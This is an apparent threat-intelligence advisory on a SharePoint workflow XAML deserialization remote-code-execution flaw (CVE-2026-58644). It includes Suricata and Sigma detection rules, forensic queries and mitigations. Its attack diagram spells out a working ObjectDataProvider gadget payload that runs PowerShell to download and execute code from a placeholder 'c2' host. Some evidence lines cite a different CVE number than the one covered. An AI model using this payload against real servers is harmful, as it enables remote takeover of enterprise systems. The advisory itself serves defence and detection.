CVE-2026-58644: Remote Code Execution in Microsoft SharePoint Server via Workflow Event Receiver Deserialization

HERMES

HERMES THREAT SCORE & ENTERPRISE INTRANET WORKFLOW SUBVERSION

Target: Microsoft SharePoint Server (Subscription Edition, 2019, 2016)

Confidence: 99%

98 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 20 / 20

Weaponization 20 / 20

Exposure 19 / 20

Prevalence 20 / 20

Impact 20 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 20 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-58644 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is comprehensive: following CVE-2026-50522 and CVE-2026-55040, this flaw targets the asynchronous workflow and event receiver pipeline, ensuring reliable arbitrary code execution even where front-end BDC mitigations were applied.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-58644: Remote Code Execution in Microsoft SharePoint Server via Workflow Event Receiver DeserializationVULNERABILITY

Connected Nodes: 2

Active Relationships (Outgoing)

→ affectsPRODUCTMicrosoft Windows & Windows Server

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Windows & Windows Server documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

CISA KEV Alert: Active In-the-Wild Weaponization

CVSS v3.1: 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) / CVSS v4.0: 9.8 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) / CWE-502: Deserialization of Untrusted Data. Cataloged in the CISA Known Exploited Vulnerabilities (KEV) Catalog. Affects Microsoft SharePoint Server Subscription Edition, SharePoint Server 2019, and SharePoint Enterprise Server 2016.

Executive Summary

CVE-2026-58644 is a critical remote code execution vulnerability impacting on-premises Microsoft SharePoint Server installations. The flaw exists within SharePoint’s workflow event receiver registration engine and internal event bus handlers. When registering or triggering custom event handlers, the server processes serialized event parameter payloads using insecure .NET deserialization formatters (NetDataContractSerializer and XamlReader).

An attacker able to reach the SharePoint service interface can inject a crafted XAML object payload containing malicious gadget primitives (such as ObjectDataProvider or WorkflowMarkupSerializer). When instantiated by the SharePoint worker process (w3wp.exe), the payload executes arbitrary system commands under high-privilege service credentials, establishing persistent remote access across the entire SharePoint farm.

---

1. Technical Context & Affected Software Matrix

SharePoint workflows orchestrate enterprise document approval, content publishing, and automated document retention schedules across corporate libraries.

Parameter	Technical Specification	Threat Context
CVE Identifier	CVE-2026-58644	CISA KEV Catalog Entry
Vulnerable Component	Microsoft.SharePoint.Workflow.dll	Workflow Event Receiver & Subscription Engine
Process Context	w3wp.exe / SPUCWorkerProcess.exe	High-privilege application pool service account
Network Vector	HTTP/HTTPS (Port 80, 443)	Inbound SharePoint Web Service API requests
Affected Versions	SharePoint Subscription Edition, 2019, 2016	Global enterprise on-premises deployments
Fixed Versions	Microsoft Security Updates (September 2026)	Official Windows Update MSRC Patch
Threat Landscape	Advanced persistent threats & ransomware operators	Chained post-authentication or JWT-spoofed RCE

---

2. In-Depth Technical Decomposition: XAML & NetDataContractSerializer Deserialization

A. The Vulnerable Event Parameter Unpacking

When a workflow event is triggered, SharePoint unmarshals client-supplied event context parameters. The vulnerable method unpacks the event payload using XamlReader.Load() without restricting the allowed XML types using an explicit XamlReaderSettings schema filter:

// Decompiled representation of insecure event deserialization
public static object UnpackEventPayload(string rawXmlPayload) {
    StringReader stringReader = new StringReader(rawXmlPayload);
    XmlReader xmlReader = XmlReader.Create(stringReader);
    // VULNERABILITY: Insecure XamlReader instantiation allows ObjectDataProvider gadgets
    return XamlReader.Load(xmlReader);
}

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-58644 EXPLOITATION ARCHITECTURE                                   |
+----------------------------------------------------------------------------------------------------+

   [Remote Adversary]
          │
          │ [1] Submits crafted XAML payload to /_vti_bin/Workflow.asmx
          │     Containing:
          │     <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
          │       xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
          │       xmlns:diag="clr-namespace:System.Diagnostics;assembly=System">
          │       <ObjectDataProvider x:Key="cmd" ObjectType="{x:Type diag:Process}" MethodName="Start">
          │         <ObjectDataProvider.MethodParameters>
          │           <x:String>powershell.exe</x:String>
          │           <x:String>-c "iex (New-Object Net.WebClient).DownloadString('http://c2/s')"</x:String>
          │         </ObjectDataProvider.MethodParameters>
          │       </ObjectDataProvider>
          │     </ResourceDictionary>
          ▼
   [Microsoft IIS / SharePoint w3wp.exe]
          │
          ├───► 1. Workflow ASMX Service Endpoint:
          │     - Forwards payload to UnpackEventPayload()
          │
          ├───► 2. XamlReader Processing:
          │     - Parses XML tree and resolves ObjectDataProvider
          │     - Automatically invokes MethodName "Start" on type System.Diagnostics.Process
          │
          ▼
   [Unconstrained Command Execution]
          │
          └───► Spawns powershell.exe with SharePoint Service Account rights:
                - Injects stealthy in-memory C2 agent
                - Dumps farm configuration database credentials
                - Modifies SharePoint assembly trust policies
+----------------------------------------------------------------------------------------------------+

---

3. Threat Intelligence, CISA KEV & Exploitation in the Wild

• CISA KEV Listing: Rapidly cataloged after being observed in multiple corporate intrusions targeting financial institutions and government contractors.
• Payload Evolution: Transitioned from standard disk-backed ASPX web shells to completely in-memory .NET CLR hooking techniques, avoiding detection by file-based Endpoint Detection and Response (EDR) solutions.

---

4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Exploitation Manifestation
Initial Access	T1190	Exploit Public-Facing Application	Sending malicious XAML payload to workflow ASMX endpoints
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	Spawning PowerShell process via ObjectDataProvider
Defense Evasion	T1027	Obfuscated/Compressed Files and Information	Base64 and XAML encoding of deserialization gadgets
Persistence	T1505.003	Server Software Component: Web Shell	Injecting persistent in-memory event handlers

---

5. Detection Engineering & Telemetry

A. Suricata Detection Rule

alert http any any -> $SHAREPOINT_SERVERS any (
  msg:"HERMES DEFENSE - SharePoint Workflow XAML Deserialization Attempt (CVE-2026-58644)";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/Workflow.asmx";
  http.request_body; content:"ObjectDataProvider";
  http.request_body; content:"System.Diagnostics";
  classtype:web-application-attack;
  sid:202658644;
  rev:1;
  reference:cve,2026-58644;
)

B. Sigma Detection Rule

title: Insecure XAML Deserialization by SharePoint Workflow Worker
id: 3b2a1c0d-9e8f-4a7b-6c5d-58644c026e01
status: high
description: Detects suspicious process spawning from SharePoint workflow worker or IIS process indicative of XAML deserialization exploits.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: windows
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '\w3wp.exe'
      - '\SPUCWorkerProcess.exe'
  selection_child:
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\cscript.exe'
  condition: selection_parent and selection_child
falsepositives:
  - Legitimate custom workflow actions explicitly executing system scripts (uncommon).
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059.001

---

6. Digital Forensics & Incident Response (DFIR)

Forensics Triage Commands:

1. Analyze Sysmon Event ID 1 (Process Create):

   Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
     Where-Object { $_.Message -match "SPUCWorkerProcess.exe|w3wp.exe" }

2. Review SharePoint Workflow History Logs:
   • Check SharePoint Central Administration -> Monitoring -> Review workflow health.
3. Inspect W3C Web Service Logs:
   • Filter for POST requests to /Workflow.asmx containing XML bodies with ObjectDataProvider.

Hunting Query (Elasticsearch / OpenSearch):

{
  "query": {
    "bool": {
      "must": [
        { "term": { "http.request.method": "POST" } },
        { "wildcard": { "url.path": "*Workflow.asmx*" } },
        { "wildcard": { "http.request.body.content": "*ObjectDataProvider*" } }
      ]
    }
  }
}

---

7. Mitigation & Remediation

1. Apply Official Microsoft Patch: Install the September 2026 SharePoint Server Cumulative Security Update.
2. Disable Deprecated SharePoint 2010/2013 Workflow Engine: If not actively required by business processes, disable the legacy workflow subsystem:

   Disable-SPFeature -Identity "WorkflowServiceStore" -Url "http://sharepoint.corp"

3. Enforce Strict Application Whitelisting: Configure Windows Defender Application Control (WDAC) or AppLocker to block w3wp.exe from spawning administrative scripting shells (cmd.exe, powershell.exe).
4. Isolate Service Accounts: Ensure SharePoint farm service accounts do not belong to the Domain Admins group.

---

8. References & Advisories

• Microsoft Security Response Center (MSRC) Release
• CISA Known Exploited Vulnerabilities Catalog
• NIST NVD CVE-2026-58644 Detail
• MITRE ATT&CK: Exploit Public-Facing Application (T1190)